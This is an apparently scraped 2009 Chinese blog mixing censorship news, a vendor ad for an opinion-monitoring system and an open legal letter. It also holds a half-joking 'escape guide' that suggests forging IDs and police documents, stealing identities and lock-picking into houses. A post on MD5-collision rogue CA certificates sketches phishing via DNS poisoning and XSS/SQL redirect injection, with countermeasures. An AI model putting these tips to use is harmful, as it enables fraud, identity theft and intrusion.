负责意识形态工作的中共中央政治局常委李长春在会上发表讲话，强调宣传工作要为经济社会平稳较快发展提供强大的精神动力和良好的舆论环境。

新年假期刚过，中国便立即召开宣传部长会议，不仅显示当局高度关切2009年面临的严峻挑战，而且说明它十分重视媒体在维护社会稳定中的作用。

*社会进入群体性事件高发年*

中国媒体预测，2009年可能是群体性事件高发年。《了望》新闻周刊说，自2008年下半年以来，在经济困难加剧、社会保障问题严重的情况下，企业裁员破产、劳资争议等矛盾纠纷显著增加，引发的群体性事件呈上升之势。

《中国青年报》编辑李大同认为，当局主要担心的是经济问题：“由经济问题导致的突发性群体事件引起的社会危机，它担心的是这样一个东西。这是不可预计的。任何一个火星不定溅到是哪一堆干柴上，就会发生像类似贵州瓮安、云南孟连这样的事件。”

有分析人士认为，当前最为敏感的是就业问题，主要是“农民工”和“大学生”这两个群体。中国社科院社会学所所长李培林去年年底曾说：“现在已经有大概数百万的农民工提前返回到农村。多数的调查表明，他们并没有完全回到原来居住的村落当中，很多是在当地的一些小城镇、小城市打些散工零工。另一个比较突出的问题是大学生。大学生今年毕业接近560万人左右，但是估计到年底的时候，会有150万人还是仍然难以找到工作。”

贫富差距日益加大是可能引发社会动乱的另外一个因素。根据联合国的报告，2007年，中国城镇居民的收入是农村人口的3.3倍，而1985年仅为1.9倍。

农村土地纠纷的增加也不可忽视。中国从去年10月起大力推动农村土地流转，地方官员如在流转过程中非法侵吞土地，将会激起民愤。

政府官员的腐败行为更令老百姓深恶痛绝，如得不到遏制，将有引发天怨人怒之效。据统计，中共17大以来，全国共有2万多名官员上交违规所得1.6亿元，有2千多名违纪人员受到查处。

此外，还有一些值得关注的纪念日。2009年既是中共建政60周年，又是达赖喇嘛率数万西藏民众出走50周年，还是六四天安门事件20周年和五四运动90周年。

*当局力图主导各项宣传控制工作*

可以预计，当局将尽力把纪念活动的主导权掌握在自己手里，达赖喇嘛出走50周年将成为庆祝西藏民主改革胜利50周年纪念，建国60周年更会成为中共为自己评功摆好、大唱赞歌的机会。

李长春在全国宣传部长会议上要求切实做好庆祝新中国成立60周年的宣传工作，强调要“大力唱响共产党好、社会主义好、改革开放好、伟大祖国好的时代主旋律”。

李大同认为，官方的讲话毫无新意：“说句老实话，在中国新闻媒体的人听起来，‘年年岁岁花相似’。(笑声) 这都是它一厢情愿的东西。它无非就是宣传机器，如此开动嘛。老百姓唱不唱，是另外一回事了。”

*对不顺当局旨意媒体人严加惩处*

不听招呼的媒体人将会受到处罚。香港《南华早报》说，更多大陆新闻工作者由于报道当局无法接受的新闻而遭惩罚，广州电视台一位编辑兼主持人就由于节目中的言论被调职。报道说，在最近一次节目里，陈扬呼吁各级官员不要折腾了，要老老实实、全心全意为人民服务，从而引祸上身。

此前，香港《明报》和新加坡《联合早报》说，山西临汾市电视台时事节目“关注”，因报道金融海啸下面临破产的临汾纺织厂6000工人维权示威的新闻，被当局勒令停播，4名编辑和记者也被停职。

与此同时，国务院的7个部委近日在全国开展整治互联网低俗之风的行动，提出对影响恶劣的网站要曝光一批、处罚一批、关闭一批，绝不姑息。当局已经点名公布了一些含有色情内容的网页，涉及新浪、搜狐、百度等多家知名网站。

不过在整治过程中，一个活动人士喜爱的网站也被关闭。美联社在“牛博网”被封后采访了该网创始人罗永浩。据罗永浩说，他星期五下午收到北京市通信管理局的电子邮件，说“牛博网”刊载了有害的时事评论，将被关闭。

艺术家艾未未评论说，这是在折腾。他在一篇博客文章中写道，“2009年才来就开始折腾，等不及了。在一些人的眼里，让人说话，天非塌下来不可”。

安全跑路指南补充版

2009-01-11T07:52:00.000-08:00

文章作者：lizaib
文章来源：http://lizaib.blogspot.com/2009/01/blog-post_11.html

《安全跑路指南》原贴：鬼仔博客、Sh@doM
我尝试了很多的方法试图把《安全跑路指南》转贴在我的博客，但很遗憾，和G.F.W折腾几十次都没办法放在一起，我猜原因很简单：敏感词汇重复出现的数量比较多。建议你先看了原贴之后再看我的补充。~我真想TMD文明用语GFW，每次发个贴先备份，然后还得上VPN，TMD我想粗口！

以下是我做的补充：
通讯：
1.可以使用skype电话。(嗯，价格便宜)
2.使用无GPS模块智能手机发送E-mail。(注意设置好飞行模式)
3.在约定的网站进行隐语留言。(如在cnbeta.com评论留言)
4.在报纸购买广告位，使用隐语。(最好选择小报纸)
5.使用快递传递你的隐语。(可在街头随便找人帮你寄出)

交通：
1.如果有可能，我建议乘坐警车。(像救护车类适合城市短途)
2.挑选正确的时间乘坐火车与自驾车。(像过年、地震使警力紧张)
3.让上访接待机构亲自遣送你“回家”。(你说就人权、民主问题要上访)
4.为何不试试改装车？(救护车、警车、押款车、市政局相同车牌的奥迪)

身份伪造：
1.为何不为假冒的身份证再搭配一个证件？(教师证、记者证、城管007)
2.有可能的话，尝试盗用存在的身份证。(瞧！我确实是本份的老百性)
3.有足够的钱，为什么不尝试整容成刘德华？(你可以免费到电视台参观一次)
4.出示一份派出所的公文。(地方政府的公文总是很多，可伪造一张唬住他们。)

住：
1.不错，你可在派出所附近找五星级的酒店、洗浴中心。(毫无疑问，后台相当坚硬！)
2.或者，去找城市最糟糕的地方。(公共厕所、垃圾堆放处)
3.投宿民宅。(尚若长得并不是那么邪恶且人见人爱的话)
4.住进小区的门上被贴催缴电视费、物业费、水电费的房子。(如果你懂得开锁技巧)

隐：
1.我们去上学吧！(进入包吃包住的培训机构，两三年后一条好汉)
2.我们去打工吧！(正如sh@dom所提的矿山、林场、建筑工地)

令人期待FOX新剧——《别对我撒谎》

2009-01-11T06:48:00.000-08:00

　　太棒了！这部美剧令人相当的期待，瞧！你注意到，主角曾是《海上钢琴师》1900的扮演者。
　　不知从何时，我开始疯狂爱上了万恶的资本主义国家电视剧，对于中国的电视，除了新闻便只有蠢到像猪一样剧情。是的，我差不多几年都没有看中国的电视剧，甚至怀疑自己不属于中国人了。当然地，我会谅解那些剧作人，在体制内的中国，只要谈谈情，说说爱便平平安安了。
　　
　　《别对我说谎》(Lie To Me)是以人为行为心理学为基础的美剧，与此还有《犯罪心理》。很显然地，大部分的美剧通常以某个专业的学科作为基础的，或者说，剧情编写者更希望导演出的是一部纪录片，除非有专业学科的基础，你方能理解剧中苦涩的术语词汇。

　　谈点题外话，一直以来我关注行为心理学。行为心理学是一个有趣的东西，它依据当事人对某事的行为、经历等等资料进行心理侧写，你可以恰当的想象，在医院的手术室里持手术刀将人体进行解剖操作，目的很简单，还原整个事情的真相。
　　
　　有关此剧的大概：Dr.Cal Lightman(Tim Roth饰演)可以通过观察一个人的脸部、身体、声音以及所说的话来判断一个人是否说的是真话，当一个人耸耸肩、转转手甚至动动下嘴唇，Lightman 就会知道他在撒谎。通过分析脸部表情，他可以知道对方心理的感觉，是否愤怒是否被吸引是否嫉妒。但是Lightman自己也知道，他的这种分析能力对个人生活来说有好处也有坏处，他可以轻而易举的知道朋友以及家人是否撒谎，哪怕是善意的谎言。Lightman是世界顶级的行骗专家，也是研究人类面部表情和身体语言的科学家，他不但能发现你在撒谎，还能知道你是为什么撒谎。

　　有关此剧细节：http://www.meijumi.com/article.asp?id=3241

　　顺便发下我最近买的书，其中就有一本《看谁在说谎》....HAHA

奥巴马提名丹尼斯·布莱尔为中情局局长

2009-01-06T05:13:00.000-08:00

from:http://www.stnn.cc/america/200901/t20090106_955774.html
　　美国民主党消息人士5日说，当选总统奥巴马已确定提名前美军太平洋司令部司令丹尼斯·布莱尔为新任国家情报总监人选，并将提名前白宫办公厅主任里昂·帕内塔为新任中央情报局（CIA）局长人选。至此，奥巴马内阁组建接近尾声。

　　新华社报道，如果这两项提名获得参议院批准，布莱尔和帕内塔将分别接替现任国家情报总监麦康奈尔和中央情报局局长海登。

　　美国政界人士对这两项提名表示欢迎。前众议院情报委员会主席汉密尔顿说，这两个人都具有丰富的管理经验，将能帮助改善美国情报机构的声誉，提高情报机构的办事效率。

　　布莱尔现年62岁，曾在美国海军服役34年，2002年退役。他曾任中央情报局助理局长和美军太平洋司令部司令。帕内塔现年70岁，父母是意大利移民。1976年至1992年任国会众议员，1994年至1996年任克林顿政府白宫办公厅主任。

TRS网络舆情监控系统

2009-01-06T04:11:00.000-08:00

from:http://www.cdsuntun.com/cpjs/dlcp/trs/200810/t20081017_2654.htm
　　随着互联网信息传播的便捷性和随意性日益突出，既有大量进步、健康、有益的信息，也有不少反动、迷信等消极内容。一方面提供了人们一个投诉问题，反映社会不公现象的一个平台，另一方面由于政府主管部门缺乏有效的对互联网信息的监控和知晓，所以不能准确地把握住民情民意，导致一些社会矛盾和不公正现象长时间积累而无人知晓，逐步演化为严重的社会问题，不利于构建和谐社会。因此新形势下，政府如何知晓和监控网络上的民情民意，制定更和谐的政策，为百姓安居乐业，社会和谐发展做出贡献，是每一个职能部门思考的问题。

　　Web1.0的主要特点在于用户通过浏览器获取信息，Web2.0则更注重用户的交互作用，用户既是网站内容的消费者（浏览者），也是网站内容的制造者。换言之，Web2.0的本质在于用户自己贡献内容（UGC），并可以自由地与他人分享这些内容。由于内容的生产者极为分散，用户间的交互也极为频密，于是对用户所上传、下载、存储、共享、分发的内容监控和管理也就变得更为困难。于是，对于作为网民参政议政、了解社情民意主要平台的官方论坛而言，内容安全问题、系统的稳定性问题以及舆情监控问题就显得更为重要和刻不容缓。

　　 " 每当有如，贝布托遇刺、伊拉克战争、黑砖窑、周老虎等突发事件发生时，国内几大论坛的访问量都呈十倍甚至几十倍的增长，那么如何保证平台的持续稳定性、如何及时地剔除垃圾、反动等负面消息都是这些网站运行中最为棘手的问题。系统的稳定性和内容安全保障不但要依赖于严格的内容审核机制，还要借助于更加智能的内容过滤技术。"

　　艳照门、华南虎、演员半裸坠楼身亡……近一段时间，互联网上总是热点事件不断，网民们也总是乐此不疲。

　　目前，互联网传递的社情民意正在成为行政部门决策的重要依据。但是，在互联网海量的信息背后，也隐藏着一些黄色、暴力等内容，而且传播的速度往往超乎人们的想象。如何消除这种有害信息的"内容威胁"？业内有关专家提出，当务之急是运用专业技术工具对网络舆情加强监控。

　　舆情是指在一定的社会空间内，围绕中介性社会事件的发生、发展和变化，民众对社会管理者产生和持有的社会政治态度。网络舆情形成迅速，对社会影响巨大，不仅需要媒体从业者认真研究，更需要社会各界高度重视。

　　专业搜索引擎的诞生为行政部门提供了帮助。这类专业搜索系统可对热点问题和重点领域比较集中的网站信息，如对网页、论坛、博客等进行实时监测，并通过专业技术对采集的信息进行逐步过滤和预处理，将这些海量信息以可视化的方式表现出来，从而快速、准确、直观地了解网络上的各种动向。

TRS舆情监控系统

　　毋庸置疑，互联网是当今社会最具权威和最具实时性的舆情载体。通过网络舆情监控，各级政府部门能够及时了解舆论动向，引导舆论发展，制定正确的策略，并及时采取措施进行有效的干预。因此，网络舆情监控对于了解社情民意，缓解舆论压力，建设和谐社会具有重要作用和意义。

　　网络舆情监控的难点主要在于舆情信息收集和舆情分析挖掘两个方面。

一、舆情信息采集

　　一个良好的舆情监控系统，首先要有一个好的网络舆情采集工具。

　　我们在互联网上了解事件相关信息的最常用方法是通过Google、百度等互联网搜索引擎进行搜索。是不是通过搜索引擎就可以建立我们所需要的舆情系统呢？TRS公司认为，网络舆情的主要载体并不是网页，一个通俗的道理，网站的舆情价值与其对网民的开放程度是成正比的，公众参与度越高，舆情价值越大。用这个标准衡量，网络舆情的主要载体是论坛、博客以及具有新闻评论功能的网站，这三者构成了网络舆情的主信息源。

　　论坛：论坛是目前能够反映应社情民意的最佳场所，论坛中网民一般以事件为线索展开讨论。无论是人民网强国论坛、新华网发展论坛等官方论坛，还是天涯社区、西祠胡同、百度贴吧等民间论坛，都聚集着对各类事件林林总总的评论，而且重要事件在各大论坛上往往具有联动效应。

　　博客及评论：博客是互联网上自由发表言论和评论的重要场所，博客中一般以某个人的记述为主，其他人发表评论。国内的各类博客网站吸引了大量的网民参与写作和评论。

　　新闻评论：在比较先进的新闻网站上，都会增加新闻评论的功能，让网民对某一新闻事件发表自己的评论意见，附着在每条新闻网页后面的"评论"信息，往往蕴含着重要的信息――一个新闻事件的报道本身也许并不重要，而动辄成千上万的网民评论却是民意的真实反映。

　　此外，由于意识形态的差异和新闻报道的相对独立性，港台和境外（中文）媒体也是我们了解舆情的重要途径。这些媒体提供另外的视角，帮用户了解一些国内媒体很少披露的内容。当然，我们必须要具有一定的鉴别能力，了解西方媒体对华报道的局限性和片面性。

　　一个良好的网络舆情采集模块必须能够对上述几种采集源提供适当的解决方案。以网页搜索为主要对象的搜索引擎在采集范围、元数据解析以及更新及时性的等方面均无法满足专业舆情监控的要求。

二、舆情挖掘分析

一个良好的舆情监控系统，必须要有一个好的舆情分析模块。

　　舆情分析的难点在于以下几个方面：

　　热点/主题发现：一般来说，利用TRS舆情采集工具可以收集到来自论坛、博客、新闻评论中的大量原始素材，如何在海量原始素材中自动发现热点问题，别是在热点刚刚形成时能够及时发现，是舆情分析的难点。

　　热点/主题跟踪：网络环境下，热点问题的产生、发展、高潮、减弱、消退是一个动态的发展过程，如何准确反映热点问题的发展状态和趋势，对于舆情引导和采取措施的决策具有重要意义。

　　热点/主题分析：热点中包含的动辄成千上万的网民评论是民意的真实反映，如何对热点进行智能分析，了解和归纳网民的主流观点是舆情分析的关键问题。

　　敏感问题监控和舆情预警：对于用户所关注的领域或者事件，如何进行有效监控和预警。对此，需要解决两类问题：如何对用户关注的舆情内容建立科学的分类体系并进行有效的分类；如何根据舆情分类的结果评估和分析当前的宏观舆情态势，并给出预警信号。这是舆情分析的核心问题之一。

　　褒贬分析：用户在得到一批相关内容的素材后，可能会希望进一步区分出其中的正面报道和负面报道，例如企业希望了解市场上对其产品的正负面评价，名人（政治人物）希望了解媒体和公众对自己的评价。如何满足用户的这一要求，也成为舆情分析的难点之一。
海量数据挖掘：在海量信息环境下如何保证舆情分析的及时性和有效性，满足使用要求。这也是舆情分析系统要解决的重要问题。

三、TRS网络舆情监控解决方案

　　北京拓尔思信息技术股份有限公司（TRS公司）长期以来从事互联网搜索引擎和大规模文本智能挖掘等方面的产品研发工作，目前已经成功解决了网络舆情监控的诸多技术难题，研制出网络舆情监控产品。

　　TRS舆情监控系统能够实现对网页、论坛、博客、新闻评论等网络资源的精确采集和解析，提供热点发现、热点跟踪、敏感信息监控、辅助决策支持、舆情预警等多种舆情服务，适用于各级政府职能部门以及企业竞争环境监控。

1. TRS舆情采集模块

　　在网络舆情采集方面，TRS综合采用多种先进技术打造的舆情采集工具，实现了对各种舆情信息的精准和全面采集，TRS舆情采集工具的部分特色功能介绍如下。

(1)支持网页结构自动分析

　　论坛和新闻评论的特点是，一个物理网页中一般包含多个贴子（或评论），而且随着时间的推移，同一个网页中的贴子会动态变化，有新的子贴增加，也可能有旧贴删除。搜索引擎的处理方法是一个网页解析出一份内容，这样的处理方式不能满足舆情监控的需求，对于舆情系统来说，每一个贴子都代表着一份有价值的信息，因此一个论坛或评论网页往往需要分解为N个贴子，每个贴子都作为一条独立的信息参与舆情分析。

　　TRS舆情采集工具实现了基于网页结构的统计分析算法，能够自动识别和分隔出论坛和新闻评论中的每一个贴子和评论信息，满足舆情分析的需要。

(2)支持基于模板的元数据解析

　　在贴子自动分隔的基础上，TRS舆情采集工具支持基于模版的元数据解析功能，对于每个贴子可以解析出发贴人、发贴时间、贴子主题、贴子内容、点击数等元数据属性，这些属性是舆情分析的重要数据。

(3)内嵌Javascript脚本执行引擎

　　随着Web 2.0相关技术的发展，脚本语言越来越多地应用于论坛、新闻评论、博客等类型网站的建设，目的是提高用户的交互性和易用性。由于搜索引擎的采集工具一般不支持脚本语言，因此，我们可以发现，Google、百度等搜索引擎只能收录少量来自论坛、博客和新闻评论的内容。

　　TRS舆情采集工具内嵌了脚本引擎，能够实现网页中脚本语言的自动解析和执行，从而能够实现对于采用脚本语言的论坛、博客以及新闻评论网站的采集，为舆情分析提供全面的数据保障。

(4)支持RSS解析

　　许多博客/新闻评论采用RSS（Really Simple Syndication或RDF Site Summary，信息聚合技术）实现内容共享，除了网页的基本信息，RSS一般都会包含更丰富的元数据信息，比如标题、作者、发表日期、分类、关键词等，有些RSS甚至包含更多的信息。这些元数据对于舆情分析往往具有重要的价值，TRS舆情采集工具实现了对RSS聚合内容的自动解析和采集。

　　TRS舆情采集工具在支持通用网页采集功能的基础上，实现了上述特色功能，从而能够实现对论坛、博客、新闻评论等内容的及时精确采集，为舆情分析提供了充实的数据基础。

2. TRS舆情分析模块

　　在网络舆情分析方面，TRS综合运用大规模文本智能挖掘技术，实现对海量舆情信息的准确、高效分析和管理，TRS舆情分析的特色功能介绍如下。

(1)敏感信息监控和舆情预警

TRS舆情系统可以对以下几种信息进行监控：

1、特定的人物：主要是国家领导人，以及特定地区或机构的政治人物；

2、特定的地区：主要是关注的地区，例如北京地区。

3、特定的机构：主要是各级国家机构，以及特定地区的机构。

4、特定的类别或事件：主要是用户关注的领域，如政法领域。

　　TRS舆情分析系统内建了一套较为科学和完整的舆情分类体系，可以对用户关注的敏感信息和国计民生的各个重点领域进行监控，并通过褒贬分析技术发现负面信息，实现对敏感信息的有效监控。与传统的基于关键字的敏感信息监控系统相比，本系统的准确度大大提升。

　　在舆情分类和褒贬分析基础上，建立多个舆情指标，可以根据舆情指标和舆情分类的结果评估和分析当前的宏观舆情态势，自动给出预警信号，辅助相关人员对舆情进行干预和引导。

(2)热点发现和热点追踪

　　TRS舆情系统采用基于内容相似的智能分析技术，能够自动识别网络上的热点新闻事件，及时掌控论坛中的交互信息，发现网民的关注焦点和热点。同时利用舆情分类信息，把用户不关注的热点信息过滤掉，提高热点发现的准确性。

　　对于热点，TRS舆情系统可以做到持续追踪，并通过传播链分析等技术帮助用户了解热点事件的报道趋势以及来龙去脉，帮助用户更好地对舆情进行研判。

(3)网民观点归纳

　　TRS采用文本聚类技术和褒贬分析技术，可以对论坛帖子中的网民评论进行聚类分析和褒贬分析，分析和归纳网民的主要观点，并统计网民的褒贬倾向分布情况，帮助用户更准确地了解社情民意。

(4)辅助决策支持

　　TRS舆情分析系统可以对以上的舆情分析结果生成各种量化的统计图表，给各级政府的决策提供强有力的数据支持。

　　TRS舆情分析系统提供有效的舆情简报加工工具，可以辅助用户生成各种类型的互联网舆情简报，这些报告不仅提供给上级领导，供决策参考。部分也提供给平行单位，做互联网信息监控分析使用。报告的内容可修改，报告模版可灵活定制。

　　这些技术为海量信息的存储和检索提供了平台建设的基础。

　　TRS舆情监控系统是一套可配置的软件产品，用户可以根据业务需要自行配置监控对象，维护舆情服务。TRS舆情监控系统适用于各级政府舆情建设，也可以用于大型企业对于自身产品和形象的跟踪监控。目前已经成功应用于北京政法职业学院、上海市委办公厅以及一些大型企业。

全国人大常委会必须回答什么是"情报"

2009-01-06T03:18:00.001-08:00

作者:张善光
全国人大常委会：
　　
　　自1998年以来，我们国家有多位公民被法院判决犯有"为境外非法提供情报罪"，处以十年以上重刑。这些公民之所以被定罪处刑，或者是因为他们把基层政府到老百姓家打、砸、抢的犯罪行径拿到了国际社会曝光，或者是因为他们同境外媒体朋友讲述了倒闭厂矿的工人悲惨的生存境况 ......
　　
　　情报会给公民带来如此大的灾难，那么，究竟什么是"情报"呢？

　　在我国现行法律体系中，"情报"一词仅仅只在刑法第111条中出现一次，而根据该条的文字表述："为境外非法提供国家秘密或者情报的，处以......" 可知，刑法中的"情报"不属国家秘密，它所涵括的内容是在国家秘密之外。国家《保密法》对什么是国家秘密做有明确界定，即"关系到国家安全和利益，依照法定程序确定，在一定时间内只限一定范围人员知悉的事项"。而什么是情报，现行法律却没有任何解释。
　　
　　 2001年1月17日，最高人民法院对"情报"做了司法解释，即"关系到国家安全和利益，尚未公开或依照规定不宜公开的事项"（由此亦可知，"情报"不属国家秘密，否则就无须再对"情报"做解释了）。在这个解释中，最高人民法院对什么叫做"尚未公开"和"依照哪一级哪一个部门的规定不宜公开"未做丝毫说明，因而，我不知道在咱们中华人民共和国有哪一个公民或法官能够依据这个解释分辨出什么是情报什么不是情报。如果用最高人民法院对"情报"所做的上述含混不清的解释做评判标准，那么，某地发生矿难，乡政府或县政府不准公开，某警察打死了人，派出所或公安局不准公开，某法院院长与诉讼当事人一起吃喝玩乐，地方政府不准公开，这些内容便都统统可以认定为"情报"。如此一来，所有与境外人员有交往的中国公民随时都有可能被判罪关进监狱。显然，从最高人民法院对"情报"所做的解释中可以看出，最高人民法院或者是一个地地道道的法盲，或者是一个随时都准备把所有中国人关进监狱的独裁者走狗。另，根据全国人民代表大会2000年3月通过的《中华人民共和国立法法》第八条、第九条、第四十二条规定，最高人民法院对刑法中的"情报"根本就无权做解释，对"情报"做解释的权力只有全国人大常委会才具有。因此，最高人民法院自告奋勇对"情报"所做的含混不清的解释尽管极其无知或极其险恶，却仍属于无效，不具有任何法律约束力。
　　
　　由是可见，在我国现行法律中，"情报"是一个十足的空白概念，它象一个突然从坟墓里钻出来的阴影，或者象一个猪、牛、狗杂交的怪胎，无人知道是个什么东西。
　　
　　鉴于以上情况，我作为一个公民，依据宪法和其它相关法律，有权向全国人大常委会严肃、认真地提出下面数个问题，请全国人大常委会就此回答：
　　
　　一、既然"情报"不属于国家秘密，那么究竟什么是法律意义上的所谓"情报"？
　　
　　二、类似于下面这种众人皆知的基层政府违法犯罪的行为是否属于"情报"？ "某乡政府一伙人到农民张喜仁家催收上缴费，张喜仁不在家，那伙人就抢走了张喜仁家中的牛。张回家后，误以为是村干部和乡政府一起所为，于是报复性地将村党支书才11岁的孩子绑架到自己家，扬言不退牛就不放人。乡政府闻讯慌忙报警。县公安局立即派了十几个全副武装的警察匆匆赶去包围了张喜仁的家。此过程中，矛盾激化。张喜仁用菜刀砍死了那个孩子，张本人也被警察乱枪击毙在现场。"？
　　
　　三、刑法第111条规定：为境外非法提供国家秘密或者情报的，可以判处最高至死刑的刑罚。因而可知，在关系到国家安全和利益方面，"情报"与国家秘密同等重要。既然如此，全国人大常委会为何只对国家秘密做司法界定，并制定一系列相应的保密措施，而对"情报"既不做司法界定，也不制定保密措施？
　　
　　四、刑法第398条规定："国家机关工作人员违反保守国家秘密法的规定，故意或者过失泄露国家秘密，情节严重的，处三年以下......"。刑法第432 条规定："军人违背保守国家秘密法规，故意或者过失泄露军事秘密，情节严重的，处五年以下......"。刑法的以上两条规定均未提到"情报"二字。既然 "情报"同国家秘密一样关系到国家安全和利益，那我们的立法机关在制定法律时，为什么只担心国家机关工作人员、军人泄露国家秘密，而丝毫不担心他们泄露" 情报"？
　　
　　五、法院拿不出什么是"情报"的法律依据，却任意认定这个信息那个信息属于"情报"，把公民定罪处刑，其行为是否违背法无明文规定不为罪的基本原则？如果不违背，请讲出理由；如果违背，该怎么办？
　　
　　六、全国人大常委会对"情报"不做法律界定，不制定相应的保密措施，有人认为，这是一种严重的不应该有的重大疏漏，它必然造成大量的情报被不知什么是情报的老百姓在不知不觉中提供给境外人员。如果是这样，全国人大常委会则触犯了刑罚第 397 条，犯有玩忽职守罪；也有人认为，全国人大常委会对"情报"不做界定，不规定保密措施，是故意不让老百姓知道什么是情报，以便放纵法院把那些批评政府违法犯罪的公民以"为境外非法提供情报罪"为名关进监狱。如果是这样，全国人大常委会则违背了宪法第 37 条规定，并且触犯了刑罚第3条。以上两种情况，那一种最符合实际？
　　
　　上面牵涉到"情报"的六个问题，事关《中华人民共和国宪法》究竟是全体中国人民的宪法还是仅仅只是某个利益集团的"王法"，事关中华人民共和国的全体老百姓究竟是国家的公民还是权力者的臣民，事关中华人民共和国公民的人身自由究竟是得到国家保护还是不受国家保护？其重要性不言而喻。因此，作为中华人民共和国的最高权力机关，全国人大常委会必须认真、负责、及时地予以答复。如果全国人大常委会继续高高在上，蔑视公民，对公民的合法提问不屑理睬，那么，你们就是在无声地宣告：全国人大常委会不是中国人民的全国人大常委会。

全国整治互联网低俗之风第一批曝光网站名单

2009-01-05T05:49:00.000-08:00

欢迎举报低俗网站，请点击这里。
另附《国新办等七部委开展整治互联网低俗之风专项行动》
百度CEO李彦宏曾说：决不人工干预搜索引擎结果。我的疑问是，什么时候会采取有效措施？其它门户网站节哀顺便。

from:http://news.xinhuanet.com/politics/2009-01/05/content_10605056_1.htm
　　互联网违法和不良信息举报中心根据公众举报，公布如下网站存在大量违反社会公德、损害青少年身心健康的低俗内容：

1、“google”的“网页搜索”、“图片搜索”结果中存在大量淫秽色情网站链接。该网站接到举报中心的通知后，未采取有效措施。

2、“百度网”的“百度贴吧”以及“百度空间”中存在大量的低俗图片，部分版块存在淫秽色情的内容；“百度搜索”的“网页搜索”结果中存在大量淫秽色情网站链接。该网站接到举报中心的通知后，未采取有效措施。

3、“新浪网”的“相册”栏目、“博客”栏目对新增低俗内容删除不及时。

4、“搜狐网”的“相册”栏目、“博客”栏目、“论坛贴图”版块对新增低俗内容删除不及时。

5、“腾讯网”的“搜搜图片”、“相册”栏目、“个人空间”对新增低俗内容删除不及时。

6、“网易”的“相册”栏目对新增低俗内容删除不及时。

7、“中国人”社区的“贴贴图图”版块对新增低俗内容删除不及时。

8、“中搜”社区的“贴图版块” 对新增低俗内容删除不及时。

9、 “猫扑网”图片的“漂亮MM”版块对新增低俗内容删除不及时。

10、“天线视频网”的“用户分享频道”存在大量低俗视频。该网站接到举报中心的通知后，未采取有效措施。

11、“第一视频网”的“体育频道”存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

12、“天涯社区”的“相册”、“天涯来吧”栏目存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

13、“游久网”的“美眉频道”存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

14、“天极网”图库的“美女”、“明星写真”；热图吧的“网友自拍”及“美女风情”版块存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

15、“合肥热线”论坛的“美女贴图”版块存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

16、“铁血网”图鉴的“美眉图片”版块存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

17、“131游戏网”的“美眉频道”存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

18、“搜刮网”网站资讯的“写真”频道、相册的“疯狂自拍”、“明星图库”、“漂亮MM”版块存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

19、“快车网”的“图片”频道存在大量低俗图片。该网站接到举报中心的通知后，未采取有效措施。

互联网违法和不良信息举报中心要求以上网站认真清理不良低俗信息，并请网民监督以上网站清理效果。同时，欢迎网民积极举报互联网上违法和不良信息。

互联网违法和不良信息举报中心

2009年1月5日

假冒的CA认证授权安全问题

2009-01-03T08:35:00.000-08:00

文章作者：lizaib
文章来源：http://lizaib.blogspot.com/2009/01/ca.html

Chaos会议报告下载：md5-collisions-1.0.pdf md5-collisions-1.0.ppt
如何伪造一个CA？具体细节没有批露：Creating a rogue CA certificate
这是一个伪造CA的站点，打开后会显示为可信站点，点这里.
你可以下载一真一假的CA：Colliding certificates ，或者访问研究人员的网站。

　　那又如何呢？
　　伪造CA的其关键点在于采用了MD5加密算法，在最初，MD5与SHA-1的Hash函数是公认不可逆的，而当经过山东王小云教授的研究，通过碰撞(Collision)后可产生相同校验码。这意味着2种不同的文件可拥有相同的MD5值。

　　可以这样做到
　　上述研究人员已经编写出可执行文件MD5碰撞，你可以点这里下载。
　　该压缩包包含4个文件，你会发现GoodbyeWorld-colliding.exe与HelloWorld-colliding.exe文件大小一样，但运行后屏幕打印出的字符串却不一样，是的，当你再使用Md5Check.exe来校验两个文件的MD5值时，你会发现MD5校验码一样的。
　　那么，这又意味着如何？fastcoll_v1.0.0.5.exe这个MD5碰撞工具可使两个文件产生一样的MD5校验码。是的，对于杀毒软件来说，这相当遭糕的。病毒编写者可使用碰撞工具将病毒与系统文件混淆杀毒软件的眼睛。

　　当MD5使用在SSL加密认证时
　　其实碰撞MD5就是破解HASH函数，hash函数就是把任意长的输入字符串变化成固定长的输出字符串的一种函数，这无关紧要。重要的是，我们发现这一通用加密算法用途广泛。单由WEB来说，大多数的网站的数据库都存储着用户加密过的MD5数值。而在数字取证领域，相关的取证产品依靠最先开始校验文件的MD5值来确定怎样的敏感文件被修改了。
　　同样在SSL加密上，即提供Https访问在线交易网站（支付宝）、银行（招商银行、工商银行）上，通过现在利用MD5散列算法的漏洞伪造的CA证书可以破解VeriSign的RapidSSL.com证书颁发机构。这使得我们可以伪造假冒的银行网站进行钓鱼攻击。

　　伪造CA可能引发的攻击
　　1.DNS缓存中毒。即将DNS服务器注入虚假的地址，像银行网站，在线支付网站，实施重定向的钓鱼攻击。
　　2.脚本攻击。通过SQL注入以及XSS跨站攻击手法，向高流量的网站注入恶意脚本，引至假冒网站。例如SQL攻击时使用iframe，而XSS攻击可用window.parent.location.href等重定向至假冒网站。
　　3.钓鱼攻击。构建恶意的域名/WEB服务器，像虚假的淘宝网站：https://member.taobaoo.com，或虚假的邮局服务器，用以发送钓鱼邮件。
　　4.信任欺骗。现在大部IT人士对以https的网址是不加以怀疑的，因为https类网站很少出现钓鱼攻击或是挂马威胁，这样一来，可以增加受害者毫不怀疑的点击。
　　
　　安全对策
　　网站管理员：替换以MD5为SSL的认证，采用SHA-1认证。并使用扩展验证证书（EV）。
　　普通用户：升级最新的浏览器，如IE8,firefox3.1等等。不要对网址栏的锁过于大意，要留心检查。

---------------------------------------------------------------
　　在线视频：

2008年中国国防白皮书

2009-01-02T05:39:00.000-08:00

由于中科院愚蠢的GFW所致,我格式化编辑2个小时无果,只好传原文至网盘上.
你也可以点这里,看文章如何采用图片化来绕过伟大的墙.最好先选中一段文字看.
http://www.cc222.com/article/470459.html
顺便建议那帮蠢才:更新你们的语义过滤!别将今年的白皮书又墙掉了!

　　前言
　　一、安全形势
　　二、国防政策
　　三、国防领导管理体制
　　四、最高军事学术研究机关和学府
　　五、武装力量
　　六、国防动员和后备力量
　　七、边防海防
　　八、国防科技工业
　　九、国防经费
　　十、国际安全合作

　　前言
